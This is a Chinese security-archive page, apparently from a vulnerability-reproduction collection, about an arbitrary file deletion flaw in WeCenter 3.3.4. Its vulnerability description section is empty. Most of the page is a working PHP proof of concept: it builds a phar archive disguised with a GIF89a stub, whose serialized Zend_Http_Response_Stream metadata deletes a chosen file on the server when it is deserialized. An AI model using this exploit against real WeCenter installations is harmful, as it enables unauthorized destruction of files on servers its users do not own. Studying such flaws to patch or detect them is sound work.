menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right WeCenter 3.3.4 任意文件删除 chevron_right WeCenter 3.3.4 任意文件删除.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    WeCenter 3.3.4 任意文件删除.md
    1.18 KB / 2021-07-15 20:09:23
        WeCenter 3.3.4 任意文件删除
    ===========================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    WeCenter 3.3.4
    
    三、复现过程
    ------------
    
    ### 任意文件删除
    
    **system/Zend/Http/Response/Stream.php:\_\_destruct()**
    方法中存在任意文件删除。
    
    ![](./resource/WeCenter3.3.4任意文件删除/media/rId25.png)
    
    ### poc
    
        <?php
        class Zend_Http_Response_Stream
        {
            protected $_cleanup;
            protected $stream_name;
    
            public function __construct($stream_name)
            {
                $this->_cleanup = true;
                $this->stream_name = $stream_name;
            }
        }
    
        $stream_name = '/var/www/html/wecenter334/shell.php';
        $evilobj = new Zend_Http_Response_Stream($stream_name);
        // phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
        $filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
        file_exists($filename) ? unlink($filename) : null;
        $phar=new Phar($filename);
        $phar->startBuffering();
        $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
        $phar->setMetadata($evilobj);
        $phar->addFromString("foo.txt","bar");
        $phar->stopBuffering();
    
        ?>
    
    
    links
    file_download